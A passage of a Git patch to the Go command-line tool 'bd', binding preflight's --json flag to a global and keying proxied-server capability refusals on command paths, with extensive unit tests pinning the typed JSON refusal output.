including the front-door error + // renderers. + preflightCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output results as JSON") preflightCmd.Flags().Bool("skip-lint", false, "Skip lint check explicitly") rootCmd.AddCommand(preflightCmd) @@ -79,7 +85,6 @@ func runPreflight(cmd *cobra.Command, args []string) error { check, _ := cmd.Flags().GetBool("check") fix, _ := cmd.Flags().GetBool("fix") - jsonOutput, _ := cmd.Flags().GetBool("json") skipLint, _ := cmd.Flags().GetBool("skip-lint") if fix { diff --git a/cmd/bd/preflight_test.go b/cmd/bd/preflight_test.go index 525f71faa..53a00d47e 100644 --- a/cmd/bd/preflight_test.go +++ b/cmd/bd/preflight_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "github.com/steveyegge/beads/internal/config" ) func TestCheckResult_Passed(t *testing.T) { @@ -401,3 +403,101 @@ func TestIsBeadsRepo(t *testing.T) { t.Error("dir without go.mod should not be detected as the beads repo") } } + +// TestPreflightJSONFlagBindsGlobal pins both halves of preflight's --json +// binding, which is one flag serving two masters. Setting it must write the +// package global, or every jsonOutput reader (including the front-door refusal +// renderers) stays in text mode while the user asked for JSON. Leaving it +// unset must report unchanged to commandJSONFlagChanged, which is what lets a +// config-file `json: true` reach preflight the way it reaches its siblings — +// a deliberate behavior change from the unbound shadow this replaced, and the +// reason the CHANGELOG calls it out. +// +// The last two subtests drive that config half rather than only asserting the +// negative direction. flag.Value.Set never sets Changed (only FlagSet.Set +// does), so the Changed==true branch of commandJSONFlagChanged needs its own +// case, and the behavior the CHANGELOG announces — configured `json: true` +// with no flag flipping jsonOutput — only happens inside +// refreshBoundCommandConfig, so it has to be driven through that function. +func TestPreflightJSONFlagBindsGlobal(t *testing.T) { + flag := preflightCmd.Flags().Lookup("json") + if flag == nil { + t.Fatal("preflight has no --json flag") + } + rootJSON := preflightCmd.Root().PersistentFlags().Lookup("json") + if rootJSON == nil { + t.Fatal("root has no persistent --json flag") + } + // refreshBoundCommandConfig consults config only when neither --json nor + // its hidden --format alias was given, so this test owns that flag's + // Changed bit too. + rootFormat := preflightCmd.Root().PersistentFlags().Lookup("format") + if rootFormat == nil { + t.Fatal("root has no persistent --format flag") + } + + oldGlobal := jsonOutput + oldValue, oldChanged := flag.Value.String(), flag.Changed + oldRootChanged := rootJSON.Changed + oldFormatChanged := rootFormat.Changed + // refreshBoundCommandConfig reapplies every config-backed default, not + // just json; restore the rest so this test cannot leak into siblings. + oldReadonly, oldActor, oldAutoCommit := readonlyMode, actor, doltAutoCommit + t.Cleanup(func() { + _ = flag.Value.Set(oldValue) + flag.Changed = oldChanged + rootJSON.Changed = oldRootChanged + rootFormat.Changed = oldFormatChanged + jsonOutput = oldGlobal + readonlyMode, actor, doltAutoCommit = oldReadonly, oldActor, oldAutoCommit + config.ResetForTesting() + }) + + t.Run("flag writes the package global", func(t *testing.T) { + jsonOutput = false + if err := flag.Value.Set("true"); err != nil { + t.Fatal(err) + } + if !jsonOutput { + t.Fatal("preflight --json did not write jsonOutput; an unbound shadow leaves every reader of the global in text mode") + } + }) + + t.Run("neither flag set reports unchanged", func(t *testing.T) { + flag.Changed = false + rootJSON.Changed = false + if commandJSONFlagChanged(preflightCmd) { + t.Fatal("preflight reported an explicit --json with neither flag set; the config-file json default would never apply") + } + }) + + t.Run("explicit --json reports changed", func(t *testing.T) { + flag.Changed = false + rootJSON.Changed = false + if err := preflightCmd.Flags().Set("json", "true"); err != nil { + t.Fatal(err) + } + if !commandJSONFlagChanged(preflightCmd) { + t.Fatal("an explicitly set --json reported unchanged; the config default would override the flag the user typed") + } + }) + + t.Run("configured json default applies with no flag", func(t *testing.T) { + config.ResetForTesting() + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("json", true) + + flag.Changed = false + rootJSON.Changed = false + rootFormat.Changed = false + jsonOutput = false + + refreshBoundCommandConfig(preflightCmd) + + if !jsonOutput { + t.Fatal("config json:true with no --json flag left jsonOutput false; preflight would render text while the repo config asks for JSON") + } + }) +} diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 73869cdc7..1dfa13e07 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -126,9 +126,10 @@ func honored() proxyCapabilityRule { func notApplicable() proxyCapabilityRule { return proxyCapabilityRule{Outcome: ProxyOutcomeNA} } // ProxyCapabilityKey identifies a command's flag/argument on a topology. -// Argument is intentionally explicit (for example, "--watch"), allowing -// callers and tests to distinguish a command that lacks a flag (N/A) from one -// that refuses it. +// Command is the command's path below the root ("dep tree", "mol ready"), +// never its cobra leaf name — see commandRegistryPath. Argument is intentionally +// explicit (for example, "--watch"), allowing callers and tests to +// distinguish a command that lacks a flag (N/A) from one that refuses it. type ProxyCapabilityKey struct { Command string Argument string @@ -169,6 +170,11 @@ var ( // `list --watch` is routed, so watching is possible over the provider; // nothing else has been wired to it. watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) + // --repo routes to another workspace, bypassing the proxied root entirely, + // which is why it is design rather than a gap. `bd list` honors a repo + // override and refuses it at runtime, so its row specializes this rule + // instead of claiming the flag is absent. + repoRefusal = refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server", ProxyReasonDesign, "") ) // proxyCapabilityMatrix is the flag-keyed half of the policy; the path-keyed @@ -192,15 +198,24 @@ var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRul ProxyCapReadonly: refused("proxy.readonly.unsupported", "strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access", ProxyReasonDesign, "1.4 candidate: read-only SQL principal on the backend"), ProxyCapMaxRows: maxRowsRefusal, ProxyCapWatch: watchRefusal, - ProxyCapRepo: refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server", ProxyReasonDesign, ""), + ProxyCapRepo: repoRefusal, }, } +// proxyCommandCapabilities overrides the mode-wide default for one command. +// Keys are command paths (commandRegistryPath), so a row lands on the command it +// was written for and on nothing else. The "mol ready" row is a documentation +// pin rather than the guard: path keying is what stops `bd mol ready --gated` +// from inheriting the refusal `bd ready` carries on their shared leaf name +// "ready", and the row records that the command has no --max-rows flag to +// refuse. TestProxyCapabilityPolicyKeysResolveInRealCommandTree keeps the pin +// honest by failing if the path it names stops existing. var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, - "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, + "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: repoRefusal}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, + "mol ready": {ProxyModeProxied: {ProxyCapMaxRows: notApplicable()}}, "graph": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, "find-duplicates": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, } @@ -264,33 +279,53 @@ func AssertProxyCapability(mode ProxyMode, capability ProxyCapability) error { return AssertProxyCommandCapability("", mode, capability) } +// proxyCapabilityAllowed reports whether an outcome lets the invocation +// proceed. ProxyOutcomeNA means the command does not have the flag at all +// (see ProxyCapabilityKey), which is a fact about the command rather than a +// policy objection: there is nothing to refuse, so it asserts successfully. +func proxyCapabilityAllowed(outcome ProxyCapabilityOutcome) bool { + return outcome == ProxyOutcomeHonored || outcome == ProxyOutcomeDelegated || outcome == ProxyOutcomeNA +} + +// proxyCapabilityRuleError renders a non-allowing rule as an error. A rule +// with neither a code nor a message would otherwise produce an error whose +// Error() is the empty string, which the CLI prints as a bare "Error: " with +// exit 1 — the least debuggable failure available — so it falls back to a +// generic message no matter how a future rule is written. +// It builds the typed error through proxyCapabilityErrorFor so a rule's Reason +// reaches the JSON refusal here exactly as it does from the registry half; a +// local struct literal would silently drop it. +func proxyCapabilityRuleError(rule proxyCapabilityRule, capability ProxyCapability, mode ProxyMode) error { + if rule.Code != "" { + if rule.Message == "" { + // rule is a copy, so this fills the fallback in for this render + // only and never edits the policy table. + rule.Message = fmt.Sprintf("%s is not supported in %s mode", capability, mode) + } + return proxyCapabilityErrorFor(rule) + } + if rule.Message != "" { + return fmt.Errorf("%s", rule.Message) + } + return fmt.Errorf("%s is not supported in %s mode", capability, mode) +} + // AssertProxyCommandCapability checks a command-specific capability rule. +// command is a command path (commandRegistryPath), not a cobra leaf name. func AssertProxyCommandCapability(command string, mode ProxyMode, capability ProxyCapability) error { if commands, ok := proxyCommandCapabilities[command]; ok { if modes, ok := commands[mode]; ok { if rule, ok := modes[capability]; ok { - // N/A means the command has no such flag, which is not a - // refusal. Without it, a future assert call site on an N/A row - // would return a non-nil error carrying an empty message. - if rule.Outcome == ProxyOutcomeHonored || rule.Outcome == ProxyOutcomeDelegated || rule.Outcome == ProxyOutcomeNA { + if proxyCapabilityAllowed(rule.Outcome) { return nil } - if rule.Code != "" { - return proxyCapabilityErrorFor(rule) - } - return fmt.Errorf("%s", rule.Message) + return proxyCapabilityRuleError(rule, capability, mode) } } } rule, ok := LookupProxyCapability(mode, capability) - if !ok || (rule.Outcome != ProxyOutcomeHonored && rule.Outcome != ProxyOutcomeDelegated) { - if rule.Code != "" { - return proxyCapabilityErrorFor(rule) - } - if rule.Message != "" { - return fmt.Errorf("%s", rule.Message) - } - return fmt.Errorf("%s is not supported in %s mode", capability, mode) + if !ok || !proxyCapabilityAllowed(rule.Outcome) { + return proxyCapabilityRuleError(rule, capability, mode) } return nil } @@ -301,31 +336,38 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { if cmd == nil { return nil } - name := cmd.Name() - if name == "create" && cmd.Flags().Changed("repo") { + path := commandRegistryPath(cmd) + if path == "create" && cmd.Flags().Changed("repo") { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) } - if name == "show" { + if path == "show" { if watch, _ := cmd.Flags().GetBool("watch"); watch { - return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) + return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapWatch)) } } - if name == "ready" { - maxRows, _, err := resolveMaxRows(cmd) + if path == "ready" { + // --claim is NOT exempt. The proxied ready role cannot enforce a row + // cap on either arm, and ready.go refuses a positive cap on both (see + // its comment above rejectMaxRowsUnderProxiedServer) — so exempting + // the claim here would not have let it through, only downgraded the + // same refusal to an untyped one raised after the provider opened. + // A malformed or negative value is still rejected here, before any + // provider work, which is what the claim path gained. + maxRows, err := resolveMaxRowsQuiet(cmd) if err != nil { return err } if maxRows > 0 { - return HandleProxyCapabilityError(AssertProxyCommandCapability(name, ProxyModeProxied, ProxyCapMaxRows)) + return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapMaxRows)) } } - if name == "graph" || name == "find-duplicates" { - maxRows, _, err := resolveMaxRows(cmd) + if path == "graph" || path == "find-duplicates" { + maxRows, err := resolveMaxRowsQuiet(cmd) if err != nil { return err } if maxRows > 0 { - return HandleProxyCapabilityError(AssertProxyCommandCapability(name, ProxyModeProxied, ProxyCapMaxRows)) + return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapMaxRows)) } } return nil diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 40f66783e..0e7cb81fa 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -2,9 +2,13 @@ package main import ( "bytes" + "context" "encoding/json" "errors" + "io" + "maps" "os" + "slices" "strings" "testing" @@ -12,30 +16,288 @@ import ( ) func TestProxyCapabilityMatrix(t *testing.T) { - for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows} { - err := AssertProxyCapability(ProxyModeProxied, cap) + for _, capability := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows} { + err := AssertProxyCapability(ProxyModeProxied, capability) if err == nil { - t.Errorf("%s unexpectedly honored", cap) + t.Errorf("%s unexpectedly honored", capability) } var typed *ProxyCapabilityError if !errors.As(err, &typed) || typed.Code == "" || typed.ExitCode != 1 || typed.Mutates { - t.Errorf("%s error = %#v, want stable non-mutating refusal", cap, err) + t.Errorf("%s error = %#v, want stable non-mutating refusal", capability, err) } } for _, tc := range []struct { - cap ProxyCapability - want string + capability ProxyCapability + want string }{ {ProxyCapWatch, "watch mode not supported in proxied-server mode"}, {ProxyCapRepo, "--repo is not supported with --proxied-server"}, } { - err := AssertProxyCapability(ProxyModeProxied, tc.cap) + err := AssertProxyCapability(ProxyModeProxied, tc.capability) if err == nil || err.Error() != tc.want { - t.Errorf("%s error = %v, want %q", tc.cap, err, tc.want) + t.Errorf("%s error = %v, want %q", tc.capability, err, tc.want) } } } +// realCommandPaths walks the actual bd command tree once and returns every +// command path below the root. Policy tables and front-door branches are only +// as good as their correspondence to this set: a key that matches nothing is +// dead policy, and a branch keyed on something that is not a path applies to +// whichever commands happen to share the string. +func realCommandPaths(t *testing.T) map[string]bool { + t.Helper() + paths := map[string]bool{} + var walk func(*cobra.Command) + walk = func(c *cobra.Command) { + if path := commandRegistryPath(c); path != "" { + paths[path] = true + } + for _, child := range c.Commands() { + walk(child) + } + } + walk(rootCmd) + if len(paths) == 0 { + t.Fatal("walked the real command tree and found no commands") + } + return paths +} + +func realCommandAtPath(t *testing.T, path string) *cobra.Command { + t.Helper() + found, _, err := rootCmd.Find(strings.Split(path, " ")) + if err != nil { + t.Fatalf("resolve %q in the real command tree: %v", path, err) + } + if got := commandRegistryPath(found); got != path { + t.Fatalf("resolve %q in the real command tree = %q", path, got) + } + return found +} + +// TestProxyCapabilityPolicyKeysResolveInRealCommandTree is the drift guard for +// the flag-keyed policy table. Every key must name a command that exists, so a +// renamed or removed command turns into a test failure instead of a rule that +// silently stops applying. +func TestProxyCapabilityPolicyKeysResolveInRealCommandTree(t *testing.T) { + paths := realCommandPaths(t) + for _, table := range []struct { + name string + keys []string + }{ + // The path-keyed half (proxyCapabilityRegistry) has its own drift guard + // in TestProxyCapabilityRegistryHasNoStaleRows, so only the flag-keyed + // table is checked here. + {"proxyCommandCapabilities", slices.Sorted(maps.Keys(proxyCommandCapabilities))}, + } { + for _, key := range table.keys { + if !paths[key] { + t.Errorf("%s has a row for %q, which is not a real command path", table.name, key) + } + } + } +} + +// TestProxyFrontDoorBranchesUseRealCommandPaths pins the command paths the +// three front-door branches key on by hand: the two validators, plus the +// skipsStoreInit route into validateProxyRegistryBeforeProvider in main.go. +// This is the assertion that would have failed on the leaf-name keying: a +// branch written for `bd ready` must name a path, because "ready" as a leaf +// name is also `bd mol ready --gated`. +func TestProxyFrontDoorBranchesUseRealCommandPaths(t *testing.T) { + paths := realCommandPaths(t) + for _, path := range []string{"create", "show", "ready", "graph", "find-duplicates", "admin compact", "mol ready", "doctor"} { + if !paths[path] { + t.Errorf("front door branches on %q, which is not a real command path", path) + } + } +} + +// TestProxyCapabilityFrontDoorAllowsSupportedCommands is the allow-path +// complement of the refusal matrix, and it runs against the real command tree +// rather than a synthetic one. The refusal direction degrades to the older, +// opaque late failure when it misses; a spurious refusal breaks a working +// command outright, so the allow path is the side that needs the guard. +func TestProxyCapabilityFrontDoorAllowsSupportedCommands(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + for _, tc := range []struct { + path string + cappedEnv bool + wantRefuse bool + }{ + // `bd mol ready --gated` is the regression: proxy-supported, accepts + // no --max-rows, and shares its leaf name with `bd ready`. + {path: "mol ready"}, + {path: "mol ready", cappedEnv: true}, + {path: "ready"}, + {path: "list"}, + {path: "list", cappedEnv: true}, + {path: "dep tree"}, + {path: "dep tree", cappedEnv: true}, + {path: "compact"}, + {path: "compact", cappedEnv: true}, + // `bd ready` is the command the max-rows refusal was written for, so + // it must still refuse an active cap. + {path: "ready", cappedEnv: true, wantRefuse: true}, + } { + name := tc.path + if tc.cappedEnv { + name += " with " + maxRowsEnvVar + } + t.Run(name, func(t *testing.T) { + if tc.cappedEnv { + t.Setenv(maxRowsEnvVar, "5") + } else { + t.Setenv(maxRowsEnvVar, "") + } + cmd := realCommandAtPath(t, tc.path) + var err error + stderr := captureStderr(t, func() { + err = validateProxyCapabilitiesBeforeProvider(cmd) + if err == nil { + // managed-local is the shape that owns its own dolt + // server, so a refusal here is a policy decision about the + // command rather than about the deployment. + err = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) + } + }) + if tc.wantRefuse { + if err == nil { + t.Fatalf("bd %s was allowed; want a refusal", tc.path) + } + return + } + if err != nil { + t.Fatalf("bd %s refused before the provider: %v (stderr=%q)", tc.path, err, stderr) + } + if stderr != "" { + t.Fatalf("bd %s wrote %q to stderr on the allow path", tc.path, stderr) + } + }) + } +} + +// TestProxyCapabilityRulesAlwaysCarryAMessage covers the whole policy surface +// rather than the rows that exist today: a rule that refuses with no message +// renders as a bare "Error: " with exit 1, and an N/A rule describes a command +// that does not have the flag, which is nothing to refuse. +func TestProxyCapabilityRulesAlwaysCarryAMessage(t *testing.T) { + for _, command := range slices.Sorted(maps.Keys(proxyCommandCapabilities)) { + for mode, capabilities := range proxyCommandCapabilities[command] { + for capability, rule := range capabilities { + err := AssertProxyCommandCapability(command, mode, capability) + if proxyCapabilityAllowed(rule.Outcome) { + if err != nil { + t.Errorf("%s/%s/%s outcome=%s asserted %v, want nil", command, mode, capability, rule.Outcome, err) + } + continue + } + if err == nil { + t.Errorf("%s/%s/%s outcome=%s asserted nil, want a refusal", command, mode, capability, rule.Outcome) + continue + } + if err.Error() == "" { + t.Errorf("%s/%s/%s refused with an empty message", command, mode, capability) + } + } + } + } + // A rule with neither a code nor a message must still say something. + if got := proxyCapabilityRuleError(proxyCapabilityRule{Outcome: ProxyOutcomeRefused}, ProxyCapMaxRows, ProxyModeProxied); got == nil || got.Error() == "" { + t.Errorf("message-less refusal rendered as %v, want a non-empty error", got) + } + // The mirror hole on the same path: the allow branch above returns nil, + // and the front door wraps that return value, so a rule added as a bare + // `return HandleProxyCapabilityError(AssertProxy...(...))` must not turn + // an allowed capability into "Error: " with exit 1. + if got := HandleProxyCapabilityError(nil); got != nil { + t.Errorf("HandleProxyCapabilityError(nil) = %v, want nil", got) + } +} + +// TestListRepoRowMatchesShippedBehavior pins the row against the runtime +// refusal it is supposed to describe. The table documents itself as the +// deterministic audit source of truth, so a row that disagrees with the +// command is worse than an absent one. +func TestListRepoRowMatchesShippedBehavior(t *testing.T) { + err := AssertProxyCommandCapability("list", ProxyModeProxied, ProxyCapRepo) + if err == nil { + t.Fatal("list --repo asserted nil; bd list --repo is refused under --proxied-server") + } + if got, want := err.Error(), "--repo is not supported with --proxied-server"; got != want { + t.Fatalf("list --repo refusal = %q, want %q", got, want) + } +} + +// TestListRepoProxiedRefusalIsStrictJSON pins the refusal's SHAPE, where the +// test above pins only its text. `bd list --repo` is the one --repo refusal +// the pre-provider gate does not shadow (it covers `create` only), so this +// call site is where the contract is actually observed — and a message-only +// assertion is exactly what let the site go untyped while the row still +// promised a code. A wrapper parsing --json must get the stable code and the +// mutates flag on stdout, and the error must still carry exit 1. +func TestListRepoProxiedRefusalIsStrictJSON(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: "list"} + root.AddCommand(cmd) + + var gotErr error + out := captureStdout(t, func() error { + gotErr = runListProxiedServer(cmd, context.Background(), io.Discard, listInput{repoOverrideSet: true}) + return nil + }) + + if code, ok := exitCodeFromError(gotErr); !ok || code != 1 { + t.Fatalf("list --repo refusal exit = %v (typed=%v), want 1", code, ok) + } + var got map[string]any + if err := json.Unmarshal([]byte(out), &got); err != nil { + t.Fatalf("list --repo refusal is not JSON on stdout: %q (%v)", out, err) + } + if got["code"] != "proxy.repo.unsupported" { + t.Fatalf("list --repo refusal code = %v, want proxy.repo.unsupported (out=%q)", got["code"], out) + } + if got["error"] != "--repo is not supported with --proxied-server" { + t.Fatalf("list --repo refusal error = %v", got["error"]) + } + if got["mutates"] != false { + t.Fatalf("list --repo refusal mutates = %v, want false", got["mutates"]) + } +} + +// TestReadyClaimResolvesRowCapOnceBeforeProvider pins the malformed-value +// advisory to one line. The command body resolves the cap again for itself, so +// a front door that also warned would print one typo twice. +func TestReadyClaimResolvesRowCapOnceBeforeProvider(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + t.Setenv(maxRowsEnvVar, "bogus") + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: "ready"} + cmd.Flags().Bool("claim", false, "") + cmd.Flags().Int("max-rows", 0, "") + root.AddCommand(cmd) + if err := cmd.Flags().Set("claim", "true"); err != nil { + t.Fatal(err) + } + var err error + stderr := captureStderr(t, func() { err = validateProxyCapabilitiesBeforeProvider(cmd) }) + if err != nil { + t.Fatalf("malformed %s refused the claim: %v", maxRowsEnvVar, err) + } + if strings.Contains(stderr, "is not a non-negative integer") { + t.Fatalf("front door warned about %s; the command body is the one that warns (stderr=%q)", maxRowsEnvVar, stderr) + } +} + func TestProxyCapabilityRowsCoverTopologies(t *testing.T) { for _, topology := range []ProxyTopology{ProxyTopologyManagedLocal, ProxyTopologyExternalTCP, ProxyTopologyExternalUnix} { for _, arg := range []string{"--readonly", "--max-rows", "--watch", "--repo"} { @@ -220,15 +482,30 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { } } +// newWatchShowCommand builds `bd show --watch`. The root matters: the front +// door keys on a command's path below its root, so a parentless command has no +// path and matches no rule — which is how a test tree can report success for a +// refusal that never fired. +func newWatchShowCommand(t *testing.T) *cobra.Command { + t.Helper() + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: "show"} + cmd.Flags().Bool("watch", false, "") + root.AddCommand(cmd) + if err := cmd.Flags().Set("watch", "true"); err != nil { + t.Fatal(err) + } + if got := commandRegistryPath(cmd); got != "show" { + t.Fatalf("test command path = %q, want %q", got, "show") + } + return cmd +} + func TestProxyCapabilityRefusalFrontDoorTextBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = false t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") - if err := cmd.Flags().Set("watch", "true"); err != nil { - t.Fatal(err) - } + cmd := newWatchShowCommand(t) got := captureStderr(t, func() { _ = validateProxyCapabilitiesBeforeProvider(cmd) }) if !strings.Contains(got, "watch mode not supported in proxied-server mode") { t.Fatalf("text refusal = %q", got) @@ -239,9 +516,7 @@ func TestProxyCapabilityRefusalFrontDoorJSONIncludesCode(t *testing.T) { oldJSON := jsonOutput jsonOutput = true t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") - _ = cmd.Flags().Set("watch", "true") + cmd := newWatchShowCommand(t) out := captureStdout(t, func() error { _ = validateProxyCapabilitiesBeforeProvider(cmd) return nil @@ -251,22 +526,6 @@ func TestProxyCapabilityRefusalFrontDoorJSONIncludesCode(t *testing.T) { } } -func TestProxyCapabilityRefusalDoesNotNeedProvider(t *testing.T) { - oldProvider := uowProvider - uowProvider = nil - t.Cleanup(func() { uowProvider = oldProvider }) - oldJSON := jsonOutput - jsonOutput = true - t.Cleanup(func() { jsonOutput = oldJSON }) - out := captureStdout(t, func() error { - _ = runCreateProxiedServer(nil, t.Context(), createInput{repoOverrideSet: true}) - return nil - }) - if !strings.Contains(out, `"code": "proxy.repo.unsupported"`) { - t.Fatalf("refusal = %q", out) - } -} - func TestProxyCapabilityDirectEscapeHatch(t *testing.T) { for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows, ProxyCapWatch, ProxyCapRepo} { if err := AssertProxyCapability(ProxyModeDirect, cap); err != nil { @@ -274,3 +533,105 @@ func TestProxyCapabilityDirectEscapeHatch(t *testing.T) { } } } + +func TestReadyClaimValidatesMaxRowsBeforeProvider(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: "ready"} + cmd.Flags().Bool("claim", false, "") + cmd.Flags().Int("max-rows", 0, "") + root.AddCommand(cmd) + if err := cmd.Flags().Set("claim", "true"); err != nil { + t.Fatal(err) + } + if err := cmd.Flags().Set("max-rows", "-1"); err != nil { + t.Fatal(err) + } + var gotErr error + out := captureStdout(t, func() error { + gotErr = validateProxyCapabilitiesBeforeProvider(cmd) + return nil + }) + if code, ok := exitCodeFromError(gotErr); !ok || code != 1 { + t.Fatalf("ready claim invalid max-rows exit = %v, want 1", code) + } + if !strings.Contains(out, "--max-rows must be non-negative") { + t.Fatalf("ready claim invalid max-rows refusal = %q", out) + } +} + +// TestReadyPositiveCapRefusedTypedWithAndWithoutClaim pins one refusal to one +// shape. --claim does not exempt a positive row cap: the proxied ready role +// cannot enforce one on either arm, and ready.go refuses both (see its comment +// above rejectMaxRowsUnderProxiedServer). Exempting the claim at the front door +// would not let it through — it would only downgrade the same refusal to an +// untyped one raised after the provider opened, so `bd ready --max-rows 5` and +// `bd ready --claim --max-rows 5` would answer --json in two different shapes, +// selected by a flag that has nothing to do with the cap. +func TestReadyPositiveCapRefusedTypedWithAndWithoutClaim(t *testing.T) { + const wantCode = "proxy.max_rows.unsupported" + const wantMessage = "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode" + + assertTypedRefusal := func(t *testing.T, gotErr error, out string) { + t.Helper() + if code, ok := exitCodeFromError(gotErr); !ok || code != 1 { + t.Fatalf("refusal exit = %v (typed=%v), want 1", code, ok) + } + var got map[string]any + if err := json.Unmarshal([]byte(out), &got); err != nil { + t.Fatalf("refusal is not JSON on stdout: %q (%v)", out, err) + } + if got["code"] != wantCode || got["error"] != wantMessage || got["mutates"] != false { + t.Fatalf("refusal = %q, want code=%q error=%q mutates=false", out, wantCode, wantMessage) + } + } + + for _, tc := range []struct { + name string + claim bool + }{{name: "bulk"}, {name: "claim", claim: true}} { + t.Run(tc.name, func(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: "ready"} + cmd.Flags().Bool("claim", false, "") + cmd.Flags().Int("max-rows", 0, "") + root.AddCommand(cmd) + if err := cmd.Flags().Set("max-rows", "5"); err != nil { + t.Fatal(err) + } + if tc.claim { + if err := cmd.Flags().Set("claim", "true"); err != nil { + t.Fatal(err) + } + } + + var gotErr error + out := captureStdout(t, func() error { + gotErr = validateProxyCapabilitiesBeforeProvider(cmd) + return nil + }) + assertTypedRefusal(t, gotErr, out) + }) + } + + // The command body refuses the same cap behind the front door. It renders + // identically so the contract survives on whichever path reaches it first. + t.Run("backstop", func(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + var gotErr error + out := captureStdout(t, func() error { + gotErr = rejectResolvedMaxRowsUnderProxiedServer(5) + return nil + }) + assertTypedRefusal(t, gotErr, out) + }) +} diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 5d01f97c7..3ce949e80 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -61,7 +61,9 @@ This is useful for agents executing molecules to see which steps can run next.`, if usesProxiedServer() { // The proxied ready role cannot enforce a row cap, including on // --claim. Refuse any positive cap rather than silently dropping - // this safety limit; malformed values remain usage errors. + // this safety limit; malformed values remain usage errors. The + // pre-provider front door refuses the same cap first, so this is + // its backstop — both raise proxy.max_rows.unsupported. if err := rejectMaxRowsUnderProxiedServer(cmd); err != nil { return err } diff --git a/cmd/bd/ready_proxied_server.go b/cmd/bd/ready_proxied_server.go index 1eb840175..2b2734c59 100644 --- a/cmd/bd/ready_proxied_server.go +++ b/cmd/bd/ready_proxied_server.go @@ -28,10 +28,12 @@ func runReadyProxiedServer(cmd *cobra.Command, ctx context.Context) error { return HandleError("--offset must be >= 0") } - // No cap resolver: the RunE that routed here has already resolved - // --max-rows / BEADS_MAX_ROWS, either to reject a live one or to validate - // the value it then ignores for --claim. Resolving it again would repeat - // the malformed-value warning and stamp a cap this route cannot enforce. + // No cap resolver: --max-rows / BEADS_MAX_ROWS has already been resolved + // twice before this route runs — once at the proxied front door and once + // in the RunE that routed here — and any positive cap was refused by both, + // on --claim as much as on a bulk read. Resolving it a third time would + // repeat the malformed-value warning and stamp a cap this route cannot + // enforce. in, err := gatherReadyInput(cmd, nil) if err != nil { return err diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 26a9d3826..8c3bd0b4b 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -95,6 +95,9 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string in := gatherShowProxiedInput(cmd, args) if in.watchMode { + // Defense in depth, like create's --repo fallback: the pre-provider + // gate refuses `show --watch` first. Typed so all three refusals render + // identically if one ever becomes reachable. return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) } From 16871ee15296c21382fb612eccab04a9d31c70c3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 05:46:48 -0700 